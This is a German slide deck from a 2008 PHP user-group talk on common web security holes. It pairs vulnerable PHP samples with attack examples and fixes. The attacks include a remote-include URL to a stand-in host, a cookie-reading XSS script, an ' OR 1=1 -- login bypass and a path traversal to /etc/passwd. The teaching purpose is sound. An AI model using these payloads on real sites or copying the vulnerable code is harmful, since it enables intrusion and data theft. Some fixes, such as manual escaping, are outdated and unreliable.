

Die fünf häufigsten Sicherheitslücken in PHP Applikationen

Adrian Philipp
28.10.2008 PHP UG Karlsruhe

Inhalt

- Warum ist Sicherheit ein Problem?
- (1) Remote Code Execution
- (3) XSS
- (2) SQL Injection
- (4) PHP Konfiguration
- (5) Dateisystem Attacken
- Tools
- Links

Warum ist Sicherheit ein Problem?

- Webapplikationen sind besonders gefährdet
Siehe SANS @ Risk Top 20 2007
- Beobachtung von Sicherheits-Websites
(Demo)

(I) Remote Code Execution

Beispiel: Problematischen Code erkennen.

```
<?php
if (isset($_GET['page']))
{
    include($_GET['page'] . '.php');
}
else
{
    include('startpage.php');
}
?>
```

(I) Remote Code Execution

Beispiel: Problematischen Code erkennen.

```
<?php
if (isset($_GET['page']))
{
    include($_GET['page'] . '.php');
}
else
{
    include('startpage.php');
}
?>
```

(I) Remote Code Execution

Wo ist das Problem?

Problem: Durch Übergabe eines passenden Parameters (`$_GET['page']`) kann PHP-Code (Server) eingeschleust werden.

(I) Remote Code Execution

Wie sieht das in der Praxis aus?

 <http://www.example.com/?page=http://badguy.com/evil.txt>

```
<?php
if (isset($_GET['page']))
{
    include('http://badguy.com/evil.txt' . '.php');
}
else
{
    include('startpage.php');
}
?>
```

(I) Remote Code Execution

Prävention

- Server-Einstellungen:

```
allow_url_fopen = Off  
open_basedir = ...
```

- Prüfen der Eingaben. Achtet auch auf:
fopen(), fsockopen(), popen(), system(), eval(),
file_get_contents(), imagecreatefromXXX(),
mkdir(), unlink(), rmdir(), ...

(I) Remote Code Execution

Wie geht's richtig?

```
<?php
$allowedPages = array('product', 'contact', 'imprint');

if (in_array($_GET['page'], $allowedPages)) {
    include($_GET['page'] . '.php');
} else {
    include('startpage.php');
}
?>
```

(2) Cross Site Scripting XSS

Beispiel: Problematischen Code erkennen.

```
[...]  
<div class="comment">  
  <h2><?php echo $_POST['subject'] ?></h2>  
  <small><?php echo $_POST['author'] ?></small>  
  
  <p>  
    <?php echo $_POST['subject'] ?>  
  </p>  
</div>  
[...]
```

(2) Cross Site Scripting XSS

Beispiel: Problematischen Code erkennen.

```
[...]  
<div class="comment">  
  <h2><?php echo $_POST['subject'] ?></h2>  
  <small><?php echo $_POST['author'] ?></small>  
  
  <p>  
    <?php echo $_POST['message'] ?>  
  </p>  
</div>  
[...]
```

(2) Cross Site Scripting XSS

Wo ist das Problem?

Problem: Durch Übergabe eines passenden Parameters (z. B. `$_POST['subject']`) kann Code (Client) eingeschleust werden.

(2) Cross Site Scripting XSS

Wie sieht das in der Praxis aus?

POST (1) ⊕

<input checked="" type="checkbox"/> subject	<input type="text" value="<script>alert('document.cookie')</script>"/>
<input type="checkbox"/> subject	<input type="text" value="<script>alert('document.cookie')</script>"/>

```
[...]  
<div class="comment">  
  <h2><script>alert('document.cookie')</script></h2>  
  <small><small>  
    [...]  
  </div>  
[...]
```

(2) Cross Site Scripting XSS

Prävention

- Filtern der Ausgaben (egal woher die Daten stammen)

```
htmlspecialchars(strip_tags($text), ENT_QUOTES);
```

- Häufig XSS Sicherheitslücken bei:
 - Such-Formulare Keine Ergebnisse zu X gefunden.
 - Login-Formulare Benutzer X nicht gefunden.

(2) Cross Site Scripting XSS

Wie geht's richtig?

```
<?php
function h($text) {
    return htmlentities(strip_tags($text), ENT_QUOTES);
}
?>
[...]
<div class="comment">
    <h2><?php echo h($_POST['subject']) ?></h2>
    <small><?php echo h($_POST['author']) ?></small>

    <p>
        <?php echo h($_POST['subject']) ?>
    </p>
</div>
[...]
```

(3) SQL Injection

Beispiel: Problematischen Code erkennen.

```
<?php
$sql = "SELECT FROM
      users
      WHERE
      username = '{$_POST['username']}' AND
      password = '{$_POST['password']}'";
mysql_query($sql);
?>
```

(3) SQL Injection

Beispiel: Problematischen Code erkennen.

```
<?php
$sql = "SELECT FROM
      users
      WHERE
      username = '[_POST['username']]' AND
      password = '[_POST['password']]'";
mysql_query($sql);
?>
```

(3) SQL Injection

Wo ist das Problem?

Problem: Durch Übergabe eines passenden Parameters (z. B. `$_POST['password']`) kann SQL Code eingeschleust werden.

(3) SQL Injection

Wie sieht das in der Praxis aus?

POST (1) ⊕

<input checked="" type="checkbox"/>	password	' OR 1=1 --
<input type="checkbox"/>	password	' OR 1=1 --

```
<?php
$sql = "SELECT FROM
      users
      WHERE
        username = '' AND
        password = '' OR 1=1 -- '";
mysql_query($sql);
?>
```

(3) SQL Injection

Prävention

- Filtern der Eingaben (egal woher die Daten stammen)

```
mysql_real_escape_string($text);  
mysqli_real_escape_string($text);
```

- Nutzung von Parameter Binding von mysqli oder PDO

(3) SQL Injection

Wie geht's richtig?

```
<?php
$sql = "SELECT FROM
      users
      WHERE
      username = '". mysql_real_escape_string($_POST['username']) . "' AND
      password = '". mysql_real_escape_string($_POST['password']) . "'";
mysql_query($sql);
?>
```

(4) PHP Konfiguration

Sichere Konfiguration verwenden.

```
log_errors = On  
display_errors = Off  
open_basedir = ...  
memory_limit = xxM  
register_globals = Off
```

(5) Dateisystem Attacken

- Lokale Daten werden eingebunden.

Verhinderung siehe (1)



www.example.com/index.php?page=../../../../etc/passwd

- Session-Daten in /tmp können von anderen gelesen werden (shared hosting)

Tools

Keine Allzweckwaffen!

Immer im Hinterkopf behalten:
Traue nie den Benutzereingaben.

- PHPSecInfo
<http://phpsec.org/projects/phpsecinfo/>
- Firefox Extensions:
 - XSS me
<https://addons.mozilla.org/en-US/firefox/addon/7598>
 - SQL inject me
<https://addons.mozilla.org/en-US/firefox/addon/7597>
 - UrlParams
<https://addons.mozilla.org/en-US/firefox/addon/1290>
- PHP IDS
<http://php-ids.org/>

Links & Quellen

- **OWASP**

http://www.owasp.org/index.php/PHP_Top_5

- **Buch: PHP Sicherheit**

<http://www.php-sicherheit.de/>

- **CMS-Sicherheit**

<http://www.cms-sicherheit.de>

- **Yahoo! pipes**

http://pipes.yahoo.com/pipes/pipe.info?_id=9Ei_qDQI3BGd7JiXJhOy0Q

- **Google**

<http://www.google.de/search?q=php%20sicherheit>

Vielen Dank für Eure
Aufmerksamkeit.

Fragen?